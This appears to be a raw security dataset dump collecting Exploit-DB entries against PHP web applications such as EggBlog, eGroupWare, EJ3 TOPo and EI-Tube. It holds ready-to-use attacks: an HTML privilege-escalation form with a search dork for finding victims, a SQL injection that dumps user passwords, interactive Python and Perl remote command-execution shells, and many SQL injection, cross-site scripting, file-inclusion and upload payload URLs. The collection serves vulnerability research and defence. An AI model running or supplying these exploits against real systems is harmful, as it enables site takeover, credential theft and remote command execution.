deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1842
Description: EggBlog < 3.07 - Remote SQL Injection / Privilege Escalation
Type: webapps
Platform: php
Date: 2006-05-28
Author: nukedx

Exploit:
<!--
Eggblog <= 3.x Multiple Remote Vulnerabilities
Discovered by: nukedx
Contacts: ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: http://www.nukedx.com
Original advisory can be found at: http://www.nukedx.com/?viewdoc=36
Eggblog <= 3.0.6 (rss/posts.php id) Remote SQL injection
Example ->  http://[site]/[EggBlog]/rss/posts.php?id=1'/**/UNION/**/SELECT/**/0,concat('Username:%20',username),concat('Password:%20',password)/**/from/**/eggblog_members/*
This SQL injection will list you all users and passwords.
-->

<html>
<title>Eggblog 2.x Remote Privilege Escalation</title>
<body bgcolor="#000000">
<style>
.xpl {font-family:tahoma; font-size:11px; text-decoration: none;}
</style>
<script language="JavaScript">
function egxpl() {
  if (document.xplt.victim.value=="") {
    alert("Please enter site!");
    return false;
  }
  if (confirm("Are you sure?")) {
    xplt.action="http://"+document.xplt.victim.value+"home/register.php";
    xplt.username.value=document.xplt.username.value;
    xplt.email.value=document.xplt.email.value;
    xplt.password.value=document.xplt.password.value;
    xplt.ref=document.xplt.ref.value;
    xplt.submit();
  }
}
</script>
<strong>
<font class="xpl" color="#00FF40">
<pre>
<center>
Welcome to Eggblog 2.x Remote Privilege Escalation
This exploit has been coded by nukedx
You can found original advisory on http://www.nukedx.com/?viewdoc=36
Dork for this exploit: <u>inurl:"powered by eggblog"</u>
Your target must be like that: www.victim.com/Path/
The sites you found with given dork has like: www.victim.com/eggblog/home/ or www.victim.com/home/
If the site has /eggblog/home in link your target must be www.victim.com/eggblog/
For second example your target must be www.victim.com/
You can login with your admin account via www.victim.com/eggblog/admin/index.php
Have phun
<form name="xplt" method="POST" onsubmit="egxpl();">
Target -> <input type="text" name="victim" value="www.victim.com/Path/" size="44" class="xpl">
<input type="text" name="username" value="Enter Username" class="xpl" size="30">
<input type="text" name="email" value="Enter Email" class="xpl" size="30">
<input type="text" name="password" value="Enter Password" class="xpl" size="30">
<input type="hidden" name="ref" value="T">
<input type="submit" value="Send" class="xpl">
</form>
</pre>
</font>
</strong>
</body>
</html>

# milw0rm.com [2006-05-28]
Exploit-DB #12628
Description: EgO 0.7b - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-16
Author: ITSecTeam

Exploit:
##########################################################
#Title: EgO v0.7b (fckeditor) Remote File Upload
#Download: http://sourceforge.net/projects/vairux-ego/
##########################################################
#AUTHOR: ITSecTeam
#Email: Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability53.htm
#Thanks: r3dm0v3,Mehr@n.s,pejvak,am!rkh@n
##########################################################

#DESCRIPTION (by vendor):#################################
EgO is a PHP script that makes easier the set up and administration of a
website.
EgO supports customizable skins and modules that would be designed to fit
specific
needs.EgO features a new WYSIWYG editor (FCKEditor), dynamic RSS 2.0
Syndication, etc..

#POC:#####################################################
http://site.com/FCKEditor/editor/filemanager/browser/
default/connectors/test.html
Exploit-DB #25435
Description: eGroupWare 1.0 - '/sitemgr-site/index.php?category_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-18
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13212/info
 
eGroupWare is prone to multiple input validation vulnerabilities. A fixed version is available.
 
The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. 

http://egroupware/sitemgr/sitemgr-site/?category_id=4[XSS]
Exploit-DB #25436
Description: eGroupWare 1.0 - '/tts/index.php?filter' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-18
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13212/info
  
eGroupWare is prone to multiple input validation vulnerabilities. A fixed version is available.
  
The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. 

http://egroupware/tts/index.php?filter=u99[SQL]
http://egroupware/tts/index.php?filter=c99[SQL]
Exploit-DB #25434
Description: eGroupWare 1.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-04-18
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13212/info

eGroupWare is prone to multiple input validation vulnerabilities. A fixed version is available.

The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. 

http://egroupware/index.php?menuaction=addressbook.uiaddressbook.edit&ab_id=11[XSS]
http://egroupware/index.php?menuaction=manual.uimanual.view&page=ManualAddressbook[XSS]
http://egroupware/index.php?menuaction=forum.uiforum.post&type=new[XSS]
http://egroupware/wiki/index.php?page=RecentChanges[XSS]
http://egroupware/wiki/index.php?action=history&page=WikkiTikkiTavi&lang=en[XSS]
http://egroupware/index.php?menuaction=wiki.uiwiki.edit&page=setup[XSS]
Exploit-DB #25437
Description: eGroupWare 1.0 - 'index.php?cats_app' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-18
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13212/info
   
eGroupWare is prone to multiple input validation vulnerabilities. A fixed version is available.
   
The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. 

http://egroupware/index.php?menuaction=preferences.uicategories.index&cats_app=foobar[SQL]
Exploit-DB #24403
Description: eGroupWare 1.0 Calendar Module - 'date' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-08-23
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/11013/info

It is reported that eGroupWare is susceptible to multiple cross-site scripting and HTML injection vulnerabilities.

The cross-site scripting issues present themselves in the various parameters of the 'addressbook' and 'calendar' modules. It is also reported that data input through the 'Search' fields of the 'addressbook', 'calendar', and 'search between projects' functionality are not sufficiently sanitized.

An attacker can exploit these issues for theft of cookie-based authentication credentials and other attacks.

Additionally HTML injection vulnerabilities are reported for the eGroupWare 'Messenger' module and 'Ticket' module.

Attackers may potentially exploit these issues to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

http://www.example.com/egroupware/index.php?menuaction=calendar.uicalendar.day&date=20040701"><script>alert(document.cookie)</script
Exploit-DB #48720
Description: eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2020-07-27
Author: Berk KIRAS

Exploit:
# Exploit Title: eGroupWare 1.14 - 'spellchecker.php' Remote Command Execution
# Date: 2020-07-27
# Exploit Author: Berk KIRAS
# Vendor Homepage: https://www.egroupware.org/en/
# Version: 1.14
# Tested on: Apache
# Berk KIRAS PwC - Cyber Security Specialist 


#!/usr/bin/python3

import requests
import sys
import threading
import urllib

def send_req(command):
        #Headers
        my_datas_headers ={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
            "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
            "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "Content-type": "application/json; charset=UTF-8",
            "Connection": "close",
        }
        #If you want to edit and add headers some headers added
        s = requests.session()
       #if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
        s.headers.update(my_datas_headers)
        params={"q":"||"+command+"||"}
        command_encoded = urllib.urlencode(params)
        command_encoded = command_encoded.split("=")[1]
        r = s.get(sys.argv[1]+"://"+sys.argv[2]+"/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/"+"spellchecker.php?spellchecker_lang=egroupware_spellchecker_cmd_exec.nasl"+command_encoded)
        return r.content
 
def main():
    if(len(sys.argv) < 3): 
        print("Usage:exploit.py <http/s> <IP> ")
        sys.exit(0)
    else:
        try:
            while True:
                cmd = raw_input("CMD_>")
                resp=send_req(cmd).split(";")[5].split("2>&1")[1]
                print(resp)

        except Exception:
            print(Exception)

main()
Exploit-DB #17322
Description: eGroupWare 1.8[PII_REDACTED]1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-05-25
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................eGroupware 1.8[PII_REDACTED]1
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.egroupware.org/
Discovery Date..........5/19/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in eGroupware 1.8[PII_REDACTED]1
can be exploited to include arbitrary files.


--PoC--

http://localhost/egroupware/admin/remote.php?uid=a&type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.jpg&creator_email=a



------------------------------------------------------------------------
Software................eGroupware 1.8[PII_REDACTED]1
Vulnerability...........Open Redirect
Threat Level............Low (1/5)
Download................http://www.egroupware.org/
Discovery Date..........5/19/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

An open redirect in eGroupware 1.8[PII_REDACTED]1 can be exploited to
redirect users to an arbitrary URL.


--PoC--

http://localhost/egroupware/phpgwapi/ntlm/index.php?forward=http://www.autosectools.com/
Exploit-DB #35596
Description: eGroupWare 1.8.1 - 'test.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-07
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47273/info

eGroupware is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

eGroupware 1.8.001 is vulnerable; other versions may also be affected. 

http://www.example.com/egroupware/phpgwapi/js/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert%280%29%3C/script%3E
Exploit-DB #4671
Description: EHCP 0.22.8 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-11-28
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org	    Staff[at]inj3ct-it[dot]org	

---------------------------------------------------------------

	  Multiple Remote File Inclusion

---------------------------------------------------------------

# Author: MhZ91 nobody.91@hotmail.it 

# Download Script: http://sourceforge.net/projects/ehcp

# register_globals = On 

# Exploit 

# http://[site]/[path]/config/dbutil.bck.php?confdir=[Evil_Code]

# http://[site]/[path]/config/dbutil.php?confdir=[Evil_Code]

---------------------------------------------------------------

# milw0rm.com [2007-11-28]
Exploit-DB #46440
Description: EI-Tube 3 - SQL Injection
Type: webapps
Platform: php
Date: 2019-02-21
Author: Meisam Monsef

Exploit:
# Exploit Title: PHP EI-Tube Script - Sql Injection
# Date: 2019-02-21
# Exploit Author: Meisam Monsef - meisamrce@gmail.com
# Vendor Homepage: https://codecanyon.net/item/eitube-youtube-api-v3-site-builder/22722912?s_rank=17
# Version: 3
# Tested on: ubuntu
# special thanks : Alireza Noorkazemi - A-H - Akhzari -
# Net Hunter (Pouya) - M.Azizi - EBI -Navid - Shahab RA - SAM.SH
# M.I - Nikavar - Hosseini
# very special thanks : esecurity.ir

Exploit:
https://target/search?q=-999%22+[sql+command]+%23
https://target/search?q=-999%22+union+select+1,user(),3,4,5,version()+%23
Exploit-DB #27848
Description: EImagePro - 'view.asp?Pic' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-09
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/17911/info
  
EImagePro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 
  
Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/imagegallery/view.asp?CatID=1&Pic=&#039;
Exploit-DB #29829
Description: Einfacher Passworschutz - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-04-10
Author: hackberry

Exploit:
source: https://www.securityfocus.com/bid/23395/info

Einfacher Passworschutz is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/?msg=[XSS]
Exploit-DB #31721
Description: EJ3 BlackBook 1.0 - 'footer.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-02
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/29015/info

BlackBook is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BlackBook 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/blackbook/footer.php?bookCopyright=<script>alert(document.cookie)</script>
http://www.example.com/blackbook/footer.php?ver=<script>alert(document.cookie)</script>
Exploit-DB #31722
Description: EJ3 BlackBook 1.0 - 'header.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-02
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/29015/info
 
BlackBook is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
BlackBook 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/blackbook/header.php?bookMetaTags="> <script>alert(document.cookie)</script>
http://www.example.com/blackbook/header.php?estiloCSS="> <script>alert(document.cookie)</script>
Exploit-DB #2002
Description: EJ3 TOPo 2.2 - 'descripcion' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-07-10
Author: Hessam-x

Exploit:
#!/usr/bin/perl
#
# EJ3 TOPO  2.2 Remote Code Execution Exploit
# --------------------------------------------- 
# Note : This Exploit Just run TOPO 2.2
# IHST : www.Hackerz.Ir 
# AST  : www.aria-security.net
###### (C)oded & Discovered By Hessam-x

use LWP::UserAgent;
use LWP::Simple;
use HTTP::Cookies;


 $host = $ARGV[0];

 $url = "http://".$host;

&hed;
    print " [~] Host : $host \n";
    print " [~] Conecting ...\n";


 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();
 $xpl->cookie_jar( $cookie_jar );
 
 $res = $xpl->post($url.'index.php',
 Content => [
 "email"   => "info@yahoo.com",
 "web"   => "Yahoo.Com",
 "webURL"   => "http://www.yahoo.com",
 "BannerURL"   => "http://www.yahoo.com/logo.jpg",
 "descripcion" => "YAHOO!INC",
 "country" => "as",
 "m" => "members",
 "s" => "html",
 "t" => "join",
 "paso" => "2",
 "ID" => "shell",
 ],);

 print " [+] Created a user ...\n";
 &run;
 

 
 sub hed()
{
 print q(
 ###########################################################
 #        EJ3 TOPO <= 2.1 Remote Code Execution Exploit    #
 #                                                         #
 ############# Coded & discovered By Hessam-x ##############

);

 
 if (@ARGV < 1) {
 print " #  usage : hx.pl [host&path]\n"; 
 print " #  E.g : hx.pl www.milw0rm.com/toplist/\n"; 
  exit();
 }
 
} 
 
    while ()
{
    &run
    }
  sub run()
 {  

      print "\n[Shell]\$";
      chomp($exc=<STDIN>);
    
        exit() if ($exc eq 'exit');

 
 
  $commd = "system(\"$exc\")";
  $cmd  = 'echo 1 ; echo _START_ ; '.$commd.' ; echo _END_';


 $req = $xpl->post($url.'index.php',
 Content => [
 "passwordNEW" => "0",
 "email"   => "info@yahoo.com",
 "webURL"   => "http://www.yahoo.com",
 "BannerURL"   => "http://www.yahoo.com/logo.jpg",
 "descripcion" => "YAHOO!INC' ;  $cmd ; ?>//",
 "country" => "unknow",
 "m" => "members",
 "s" => "html",
 "t" => "edit",
 "paso" => "2",
 "password" => "0",
 "ID" => "shell",
 ],);
 $res = $xpl->get($url.'index.php?m=top&s=out&ID=shell');
 @result = split(/\n/,$res->content);
 $runned = 0;
 $on = 0;
 print "\n";
 for $res(@result)
  {
    if ($res =~ /^_END_/) { print "\n"; return 0; }
    if ($on == 0) { print "  $res\n"; }
    if ($res =~ /^_START_/) { $on = 1; $runned = 1; } 
  }
    if (!$runned) { print "Can not execute command . EXPLOIT FAILED !\n" ; };
   
  
  
  }

# milw0rm.com [2006-07-10]
Exploit-DB #25689
Description: EJ3 TOPo 2.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2003-05-20
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13700/info

TOPo is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/topo/index.php?m=top"><SCRIPT>alert()</script>&s=info&ID=[PII_REDACTED].2498
http://www.example.com/topo/index.php?m=top&s=info&ID=[PII_REDACTED].3552"><SCRIPT>alert()</SCRIPT>&t=puntuar
http://www.example.com/topo/index.php?m=top&s=info"><script>alert()</script>&ID=[PII_REDACTED].3552&t=puntuar
http://www.example.com/topo/index.php?m=top"><script>alert()</script>&s=info&ID=[PII_REDACTED].3552&t=puntuar
http://www.example.com/topo/index.php?m=top&s=info&t=comments&ID=[PII_REDACTED].2498"><SCRIPT>alert()</script>
http://www.example.com/topo/index.php?m=top&s=info&t=comments&paso=1&ID=[PII_REDACTED].7598"><SCRIPT>alert()</script>
http://www.example.com/topo/index.php?m=members&s=html&t=edit"><SCRIPT>alert()</script>
Exploit-DB #27336
Description: EJ3 TOPo 2.2.178 - 'Inc_header.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-28
Author: Yunus Emre Yilmaz

Exploit:
source: https://www.securityfocus.com/bid/16879/info

EJ3 TOPo is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/inc_header.php?gTopNombre=?><script>alert(document.cookie)</script>
Exploit-DB #26516
Description: Ekinboard 1.0.3 - 'profile.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-15
Author: trueend5

Exploit:
source: https://www.securityfocus.com/bid/15447/info

Ekinboard is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ekinboard/profile.php?id=2'%3E%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E